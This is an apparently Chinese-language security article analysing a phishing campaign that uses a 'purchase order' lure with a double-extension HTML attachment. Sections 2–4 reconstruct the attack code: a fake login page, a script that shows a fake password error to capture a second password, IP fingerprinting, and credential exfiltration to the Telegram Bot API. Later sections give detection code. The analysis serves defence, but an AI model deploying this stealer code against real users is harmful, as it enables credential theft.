基于双重扩展名伪装与即时通讯C2的钓鱼攻击机理研究

简介: 本文剖析2026年新型钓鱼攻击:利用“采购订单”诱饵、双重扩展名(如.pdf.hTM)伪装HTML文件,预填邮箱、伪造密码错误提示实施社会工程学欺骗;摒弃传统C2,转而通过Telegram Bot API回传凭证,并借助ImgBB混淆落地页。研究指出,需构建融合文件熵值分析、DOM行为监控与IM流量审计的多维防御体系。(239字)

摘要

随着网络攻击技术的迭代演进,针对企业供应链与财务流程的社会工程学攻击呈现出高度专业化与隐蔽化的特征。本文基于2026年3月披露的新型钓鱼攻击案例,深入剖析了攻击者利用“采购订单”(Purchase Order)为诱饵,通过双重文件扩展名(Double File Extension)技术伪装PDF文档,实则植入恶意HTML页面的攻击链条。研究表明,该攻击模式不仅利用了用户对业务文档的信任心理,更通过预填充受害者邮箱地址、伪造密码验证错误提示以及利用合法图片托管服务(ImgBB)进行后续混淆等手段,显著提升了欺骗成功率。尤为关键的是,攻击者摒弃了传统的自建命令与控制(C2)服务器,转而利用Telegram Bot API作为数据回传通道,有效规避了基于域名信誉和流量特征的常规检测机制。本文通过复现攻击脚本逻辑、分析数据窃取机制,并构建相应的防御检测模型,论证了基于行为分析与API监控的主动防御体系在应对此类威胁时的必要性。研究结果指出,单纯依赖文件类型过滤已不足以应对当前威胁,必须建立涵盖文件熵值分析、DOM行为监控及即时通讯流量审计的多维防御范式。

关键词:网络钓鱼;双重扩展名;Telegram C2;社会工程学;凭证窃取;HTML伪装

image.png 1 引言

在企业数字化转型的深水区,电子邮件依然是网络攻击最主要的初始入侵向量。尽管垃圾邮件过滤技术与用户安全意识培训已普及多年,但攻击者通过不断变换战术、技术与过程(TTPs),使得钓鱼攻击的成功率始终维持在高位。传统的钓鱼攻击多依赖于明显的拼写错误、通用的恐吓话术或粗糙的恶意附件,易于被现代安全网关拦截或被警惕的用户识别。然而,近期出现的一类针对特定业务场景(如采购、财务结算)的定向钓鱼攻击,展示了极高的伪装技巧与技术整合能力。

2026年3月,Malwarebytes威胁情报团队披露了一起典型的案例:攻击者发送主题为“新采购订单”(New PO)的电子邮件,附件名为New PO 500PCS.pdf.hTM。该附件表面看似普通的PDF文档,实则为精心构造的HTML phishing页面。一旦用户点击,浏览器将渲染出一个逼真的密码输入界面,诱导用户输入凭据。更值得注意的是,该攻击并未将窃取的敏感信息发送至传统的远程服务器,而是通过加密的Telegram Bot接口进行传输。这一变化标志着攻击基础设施的“去中心化”与“合法化”趋势,即利用广泛使用的合法互联网服务作为C2通道,极大地增加了追踪与阻断的难度。

此类攻击之所以具有极高的危险性,在于其精准地击中了企业运营的流程痛点。采购部门每日需处理大量来自不同供应商的订单询价,对带有“PO”、“Invoice”、“Quotation”等关键词的邮件具有天然的信任倾向。攻击者利用这种业务惯性,结合双重扩展名的视觉欺骗技术,成功绕过了部分基于文件头检测的安全策略。同时,攻击脚本中集成的环境信息采集功能(IP、地理位置、User-Agent)与心理诱导机制(伪造验证失败提示),进一步提升了凭证窃取的完整度与成功率。

本文旨在从技术原理、攻击流程、数据回传机制及防御策略四个维度,对这一新型钓鱼攻击进行系统性解构。通过分析其代码实现逻辑与网络行为特征,揭示其在 evasion(规避检测)与 persistence(持久化窃密)方面的创新点。文章将提供具体的代码示例以复现攻击核心逻辑,并据此提出针对性的检测算法与防御架构建议,以期为企业安全团队提供具备实操价值的参考依据。

image.png 2 攻击载荷的伪装机制与社会工程学设计

攻击的成功往往始于对用户心理的精准操控与对系统机制的巧妙利用。在本案例中,攻击者采用了双重扩展名技术与高度定制化的社会工程学话术,构建了极具迷惑性的初始攻击面。

2.1 双重扩展名技术的视觉欺骗

Windows操作系统默认隐藏已知文件类型的扩展名,这一特性长期被攻击者利用。在本案例中,恶意文件被命名为New PO 500PCS.pdf.hTM。由于.hTM(HTML文件的不常见大小写变体)未被所有系统默认视为“已知扩展名”,或者由于用户仅关注文件名末尾的.pdf部分,导致用户在资源管理器中看到的图标可能是一个PDF文档图标(取决于系统关联设置),或者用户主观上认为这是一个PDF文件。

即便系统正确显示为网页文件图标,繁忙的财务或采购人员在快速浏览邮件附件时,极易忽略.hTM后缀,仅捕捉到“New PO”和“.pdf”这两个关键信息点。这种视觉上的认知偏差是攻击者精心设计的陷阱。技术上,该文件实质是一个纯文本的HTML文件,内部嵌入了JavaScript代码与CSS样式,用于渲染钓鱼界面。

<!-- 恶意HTML文件头部示例 -->

<!DOCTYPE html>

<html lang="en">

<head>

   <meta charset="UTF-8">

   <title>Document Viewer</title>

   <style>

       /* 模拟PDF阅读器的模糊背景与居中弹窗 */

       body { margin: 0; padding: 0; background: url('blurry_invoice_bg.png') no-repeat center center fixed; background-size: cover; }

       .modal { position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); background: white; padding: 30px; border-radius: 8px; box-shadow: 0 4px 15px rgba(0,0,0,0.2); text-align: center; }

       .input-group { margin: 15px 0; }

       input[type="password"] { width: 100%; padding: 10px; margin-top: 5px; border: 1px solid #ccc; border-radius: 4px; }

       .error-msg { color: red; font-size: 12px; display: none; margin-top: 5px; }

   </style>

</head>

<body>

   <div class="modal" id="loginModal">

       <h3>Verification Required</h3>

       <p>To view this secure purchase order, please verify your identity.</p>

       <div class="input-group">

           <label>Email:</label>

           <input type="email" id="email" value="victim@company.com" readonly style="background:#f0f0f0;">

       </div>

       <div class="input-group">

           <label>Password:</label>

           <input type="password" id="password" placeholder="Enter your password">

           <div class="error-msg" id="errorMsg">Your account or password is incorrect. Try again.</div>

       </div>

       <button onclick="submitCredentials()">Next</button>

   </div>

   <script src="stealer.js"></script>

</body>

</html>

上述代码片段展示了攻击者如何利用CSS营造紧迫感与真实感。背景使用了模糊处理的发票图像,既暗示了文件内容,又避免了直接展示虚假内容可能引发的怀疑。输入框中预填充了受害者的邮箱地址(通过URL参数或脚本自动获取),进一步降低了用户的警惕性,使其误以为这是系统自动识别的会话。

image.png 2.2 业务场景定制化的社会工程学话术

邮件正文的内容经过精心设计,完全符合B2B商务沟通的规范。攻击者使用了“Dear Seller”、“interested in purchasing”、“quotation”、“estimated delivery time”等专业术语,并虚构了具体的产品数量(500PCS)与型号(f16940)。这种细节的丰富性使得邮件看起来不像群发的垃圾邮件,而是一封真实的业务询盘。

邮件正文示例:

"Dear Seller,

I hope this message finds you well!

I am interested in purchasing this product and I would appreciate it if you could provide me with a quotation for the following attached below:

Quantity: [f16940-500PCS]

Any specific specifications or details, if applicable.

Additionally, I would like to inquire about the estimated delivery time once the order is confirmed...

Please let me know the total cost, including any applicable taxes or fees...

Thank you very much for your assistance. I look forward to your prompt response."

这种话术利用了接收者的职业本能:处理询价是采购与销售人员的日常工作。当邮件内容与附件名称(New PO)高度一致时,用户进行深度验证的可能性大幅降低。攻击者正是利用了这种“业务流程自动化”的心理盲区,实现了高成功率的诱导。

3 凭证窃取逻辑与心理诱导机制分析

当用户打开恶意HTML附件后,真正的攻击逻辑才开始执行。与传统的直接跳转至外部钓鱼网站不同,该攻击在本地文件中完成了大部分交互逻辑,仅在最后阶段进行数据外传,这种设计有效减少了网络层面的异常连接特征。

3.1 交互式密码验证与二次窃取策略

攻击脚本中包含了一个精妙的心理诱导机制:首次提交密码后,系统会故意返回一个“验证失败”的错误提示。

// 恶意JavaScript逻辑片段

let attemptCount = 0;


function submitCredentials() {

   const email = document.getElementById('email').value;

   const password = document.getElementById('password').value;

   const errorMsg = document.getElementById('errorMsg');

   const btn = document.querySelector('button');


   if (attemptCount === 0) {

       // 第一次尝试:故意报错,诱导用户再次输入

       errorMsg.style.display = 'block';

       btn.innerText = 'Try Again';

       attemptCount++;

       // 此处可记录第一次输入的密码,可能是用户常用的旧密码或简单密码

       console.log("First attempt captured:", password);

   } else {

       // 第二次尝试:显示“验证中”,然后重定向

       btn.innerText = 'Verifying...';

       errorMsg.style.display = 'none';

     

       // 收集环境信息

       const envData = {

           ip: '', // 需通过第三方API获取

           location: '',

           userAgent: navigator.userAgent,

           email: email,

           passwords: [password] // 此处可包含两次输入的密码

       };


       // 模拟延迟后发送数据

       setTimeout(() => {

           sendToTelegram(envData);

           redirectToFakeDoc();

       }, 1500);

   }

}

这一机制具有多重目的:

增加可信度:真实的系统在输入错误时确实会报错,这消除了用户对页面真实性的疑虑。

获取多组凭证:用户在遇到错误时,往往会尝试另一个常用密码,或者在修正大小写后重新输入。这使得攻击者可能获得两组不同的凭证,增加了撞库成功的概率。

降低警觉:当第二次输入后页面显示“验证中”并最终展示出(模糊的)文档内容时,用户会认为操作已成功完成,从而不会立即意识到自己遭遇了钓鱼,延误了报告与止损的时间。

3.2 环境指纹采集与数据聚合

在发送凭证之前,脚本会通过第三方API(如ipapi.co)获取用户的公网IP地址与地理位置信息,并结合浏览器的User-Agent字符串,构建完整的受害者画像。这些信息对于攻击者后续进行精准诈骗或评估目标价值至关重要。

async function getEnvironmentData() {

   try {

       const response = await fetch('https://ipapi.co/json/');

       const data = await response.json();

       return {

           ip: data.ip,

           city: data.city,

           region: data.region,

           country: data.country_name,

           org: data.org

       };

   } catch (error) {

       return { ip: 'Unknown', error: error.message };

   }

}

通过将凭证与环境数据打包,攻击者能够判断凭证的来源是否可信(例如,是否来自目标公司的IP段),从而筛选出高价值的目标进行后续利用。

4 基于Telegram Bot的隐蔽C2通信架构

本案例最显著的技术特征在于其命令与控制(C2)通道的选择。攻击者未使用传统的PHP后端或云存储桶,而是利用了Telegram Bot API。这一选择体现了攻击者对现代网络安全防御体系的深刻理解与规避策略。

4.1 Telegram Bot作为C2的优势分析

Telegram作为一种端到端加密的即时通讯工具,在全球范围内拥有庞大的用户基数。许多企业并未将Telegram的域名(如api.telegram.org)列入黑名单,因为其可能被用于正常的业务沟通或员工个人使用。此外,Telegram API采用HTTPS加密传输,使得基于流量的深度包检测(DPI)难以在不解密的情况下识别其中的恶意载荷。

攻击者只需创建一个Bot,获取其Token,即可通过简单的HTTP POST请求将窃取的数据发送至自己的聊天窗口。这种方式无需维护任何服务器基础设施,成本低廉且极难溯源。

4.2 数据外传代码实现与协议分析

以下是攻击脚本中用于通过Telegram发送数据的核心逻辑:

const BOT_TOKEN = '123456789:ABCdefGHIjklMNOpqrsTUVwxyz'; // 攻击者控制的Bot Token

const CHAT_ID = '-987654321'; // 攻击者的Chat ID


async function sendToTelegram(data) {

   const message = `

🚨 <b>New Credential Captured!</b> 🚨

<b>Email:</b> <code>${data.email}</code>

<b>Password:</b> <code>${data.passwords.join(' | ')}</code>

<b>IP:</b> ${data.ip}

<b>Location:</b> ${data.city}, ${data.country}

<b>Browser:</b> ${data.userAgent}

   `;


   const url = `https://api.telegram.org/bot${BOT_TOKEN}/sendMessage`;

 

   const payload = {

       chat_id: CHAT_ID,

       text: message,

       parse_mode: 'HTML'

   };


   try {

       await fetch(url, {

           method: 'POST',

           headers: {

               'Content-Type': 'application/json'

           },

           body: JSON.stringify(payload)

       });

       console.log("Data sent successfully to Telegram.");

   } catch (error) {

       console.error("Failed to send data:", error);

   }

}

这段代码清晰地展示了攻击的简洁性与高效性。sendMessage接口被滥用为数据回传通道。由于请求目标是api.telegram.org,在大多数企业的防火墙策略中,该域名被视为白名单,导致流量顺利流出。同时,数据以JSON格式封装在HTTPS请求体中,对外部观察者而言,这仅仅是一次普通的API调用,极具隐蔽性。

4.3 后续混淆与延迟暴露

在数据发送完成后,脚本会将用户重定向到一个合法的图片托管服务(如ImgBB)上的模糊图片。

function redirectToFakeDoc() {

   // 重定向到ImgBB上的模糊发票图片

   window.location.href = "https://i.ibb.co/xxxxxx/blurry_invoice.png";

}

这一步骤具有双重作用:一是为用户提供“成功查看文档”的假象,进一步麻痹用户;二是利用合法的高信誉域名(ibb.co)作为最终落地页,避免触发基于URL信誉的浏览器警告。这种“跳板”策略使得整个攻击链条中的每个环节都看似合法,极大地增加了自动化检测系统的误报成本。

5 防御体系重构与检测技术实现

面对此类利用合法服务、高度伪装的钓鱼攻击,传统的基于特征码与黑名单的防御手段已显乏力。必须构建一套融合文件静态分析、动态行为监控与网络流量审计的多维防御体系。

5.1 基于文件熵值与结构的双重扩展名检测

针对双重扩展名攻击,邮件网关与端点防护软件应实施更严格的文件类型验证策略。不仅要检查文件扩展名,更要深入分析文件头(Magic Number)与内部结构。

import magic

import os


def detect_phishing_attachment(file_path):

   """

   检测潜在的钓鱼HTML文件

   """

   # 1. 检查扩展名

   filename = os.path.basename(file_path)

   if '.' not in filename:

       return False

 

   extensions = filename.split('.')

   # 检测是否存在双重扩展名,且后缀为html/htm变种

   if len(extensions) >= 2:

       real_ext = extensions[-1].lower()

       if real_ext in ['htm', 'html', 'mhtml', 'mht']:

           # 即使图标显示为PDF,实际也是HTML

           return True

         

   # 2. 检查MIME类型与文件头

   mime = magic.from_file(file_path, mime=True)

   if mime == 'text/html':

       # 如果文件内容是HTML,但文件名试图伪装成PDF

       if 'pdf' in filename.lower() and not filename.lower().endswith('.pdf'):

           return True

         

   # 3. 启发式扫描:检查HTML中是否包含敏感表单与外部JS加载

   if mime == 'text/html':

       with open(file_path, 'r', encoding='utf-8', errors='ignore') as f:

           content = f.read(2048) # 读取头部

           if 'password' in content.lower() and 'input' in content.lower():

               if 'telegram.org' in content or 'fetch(' in content:

                   return True

                 

   return False


# 模拟检测

test_files = ['New PO 500PCS.pdf.hTM', 'invoice.pdf', 'report.html']

for f in test_files:

   # 假设文件已下载到本地

   # result = detect_phishing_attachment(f)

   pass

上述逻辑展示了如何通过多层校验来识别伪装文件。关键在于不信任文件扩展名,而是依据实际内容类型(MIME)及内部包含的敏感关键字(如password input, fetch API调用)进行判定。

5.2 端点侧的DOM行为监控与API拦截

在端点层面,浏览器扩展或EDR(端点检测与响应)代理应监控本地HTML文件的执行行为。特别是当本地文件(file://协议)尝试发起对外部API(尤其是即时通讯API)的网络请求时,应视为高危行为。

// 浏览器扩展内容脚本示例:监控可疑的网络请求

chrome.webRequest.onBeforeRequest.addListener(

   function(details) {

       // 检测源是否为本地文件

       if (details.initiator && details.initiator.startsWith('file://')) {

           // 检测目标是否为常见的C2服务(如Telegram API)

           if (details.url.includes('api.telegram.org/bot')) {

               console.warn("[SECURITY ALERT] Local HTML file attempting to contact Telegram API!");

               // 阻断请求并报警

               return { cancel: true };

           }

       }

   },

   { urls: ["<all_urls>"] },

   ["blocking"]

);

通过拦截本地文件对特定云服务的访问,可以在数据泄露发生前切断攻击链路。此外,对于本地HTML文件中包含的混淆JavaScript代码,可利用静态分析工具提取其调用的外部域名,并与威胁情报库进行比对。

5.3 网络层的即时通讯流量审计

鉴于Telegram等IM工具被滥用为C2通道,企业网络边界防火墙需实施更细粒度的应用层控制。虽然完全封锁Telegram可能影响业务,但可以采取以下措施:

限制Bot API访问:仅允许特定的IP或用户组访问api.telegram.org,或在代理服务器上解析HTTPS流量(需部署中间人证书),检测sendMessage等特定API方法的调用频率与载荷大小。

异常流量检测:监控内部主机向Telegram IP段的出站连接。正常的IM流量通常具有特定的心跳包特征与数据包大小分布,而数据窃取流量往往表现为突发的大包发送或包含Base64编码的敏感数据字段。

6 结语

通过对2026年3月披露的“采购订单”钓鱼攻击案例的深度剖析,我们清晰地看到了网络威胁演进的几个关键趋势:攻击场景的业务化、伪装技术的精细化以及C2基础设施的合法化。攻击者不再依赖粗劣的恶意软件,而是利用HTML、JavaScript等合法Web技术,结合Telegram等普及型互联网服务,构建了一条低成本、高隐蔽、难溯源的攻击链条。

双重扩展名技术利用了操作系统的默认配置与用户的认知惯性,成功突破了第一道防线;而基于Telegram Bot的数据回传机制,则巧妙地绕过了传统的网络边界防御。这种“无服务器”攻击模式表明,未来的网络安全对抗将更多集中在应用层行为分析与终端微隔离上。

应对此类威胁,单一的技术手段已无法奏效。企业必须建立纵深防御体系:在邮件网关层强化文件类型与内容的深度检测,在端点层实施严格的本地文件执行策略与网络访问控制,在网络层加强对加密流量中异常行为的识别。同时,提升员工对业务邮件的甄别能力,培养“零信任”的操作习惯,同样是不可或缺的一环。只有将技术防御与管理策略有机结合,方能在日益复杂的网络威胁环境中,有效遏制此类高精度钓鱼攻击的蔓延,保障企业核心资产的安全。

编辑:芦笛(公共互联网反网络钓鱼工作组)

目录
相关文章
|
6天前
|
人工智能 自然语言处理 JavaScript
2026年Windows+Ollama本地部署OpenClaw保姆级教程:本地AI Agent+阿里云上快速搭建
2026年OpenClaw凭借本地部署、私有化运行的特性,成为打造个人智能体的核心工具,而Ollama作为轻量级本地大模型管理工具,能让OpenClaw摆脱对云端大模型的依赖,实现**本地推理、数据不泄露、全流程私有化**的智能体验。本文基于Windows 11系统,从硬件环境准备、Ollama安装与模型定制、OpenClaw部署配置、技能扩展到常见问题排查,打造保姆级本地部署教程,同时补充阿里云OpenClaw(Clawdbot)快速部署步骤,兼顾本地私有化需求与云端7×24小时运行需求,文中所有代码命令均可直接复制执行,确保零基础用户也能快速搭建属于自己的本地智能体。
8094 64
|
3天前
|
人工智能 安全 API
CoPaw:3分钟部署你的 AI助理
源自阿里巴巴开源生态的个人 AI 助理——CoPaw。作为阿里倾力打造的开源力作,CoPaw 完美打通钉钉、飞书、Discord 等多平台对话通道,支持定时任务自动化。内置 PDF/Office 深度处理、新闻摘要等强大技能,更开放自定义扩展接口。坚持数据全程私有化部署,绝不上传云端,让每一位用户都能在大厂技术加持下,拥有安全、专属的智能助手。
|
5天前
|
人工智能 自然语言处理 机器人
保姆级教程:Mac本地搭建OpenClaw及阿里云上1分钟部署OpenClaw+飞书集成实战指南
OpenClaw(曾用名Clawdbot、Moltbot)作为2026年最热门的开源个人AI助手平台,以“自然语言驱动自动化”为核心,支持对接飞书、Telegram等主流通讯工具,可替代人工完成文件操作、日历管理、邮件处理等重复性工作。其模块化架构适配多系统环境,既可以在Mac上本地化部署打造私人助手,也能通过阿里云实现7×24小时稳定运行,完美兼顾隐私性与便捷性。
3631 6
|
4天前
|
人工智能 安全 JavaScript
阿里云上+本地部署OpenClaw(小龙虾)新手攻略:解锁10大必备Skills,零基础也能玩转AI助手
2026年,开源AI代理工具OpenClaw(昵称“小龙虾”)凭借“能实际做事”的核心优势,在GitHub斩获25万+星标,成为现象级AI工具。它最强大的魅力在于可扩展的Skills(技能包)系统——通过ClawHub插件市场的数百个技能,能让AI助手从简单聊天升级为处理办公、学习、日常事务的全能帮手。
3321 8
|
7天前
|
人工智能 JSON JavaScript
手把手教你用 OpenClaw + 飞书,打造专属 AI 机器人
手把手教你用 OpenClaw(v2026.2.22-2)+ 飞书,10分钟零代码搭建专属AI机器人!内置飞书插件,无需额外安装;支持Claude等主流模型,命令行一键配置。告别复杂开发,像聊同事一样自然对话。
4011 13
手把手教你用 OpenClaw + 飞书,打造专属 AI 机器人
|
6天前
|
人工智能 监控 机器人
2026年零门槛部署 OpenClaw(Clawdbot)接入A股数据,实现24小时股票分析保姆级教程
在AI赋能金融分析的浪潮中,OpenClaw(原Clawdbot/Moltbot)凭借开源灵活的架构,成为个人投资者打造专属智能分析助手的首选。通过接入A股实时数据,它能实现24小时市场监控、涨跌预警、潜力股推荐等核心功能,彻底解放人工盯盘的繁琐。而阿里云的稳定部署环境,更让这套系统实现全天候不间断运行,成为真正的“金融AI助手”。 本文基于OpenClaw v2026.1.25稳定版与QVeris免费A股数据接口,详细拆解阿里云OpenClaw部署步骤、A股数据接入流程、高级分析功能配置及多平台联动技巧,所有代码命令均可直接复制复用,即使无技术基础也能在1小时内完成从部署到实战的全流程。
2913 11
|
8天前
|
存储 人工智能 BI
2026年OpenClaw(Clawdbot)极简部署:接入小红书全自动运营,一个人=一支团队
2026年的小红书运营赛道,AI自动化工具已成为核心竞争力。OpenClaw(原Clawdbot)凭借“Skill插件化集成、全流程自动化、跨平台联动”的核心优势,彻底颠覆传统运营模式——从热点追踪、文案创作、封面设计到自动发布、账号互动,仅需一句自然语言指令,即可实现全链路闭环。而阿里云作为OpenClaw官方推荐的云端部署载体,2026年推出专属秒级部署方案,预装全套运行环境与小红书运营插件,让零基础用户也能10分钟完成部署,轻松拥有7×24小时在线的“专属运营团队”。
2694 11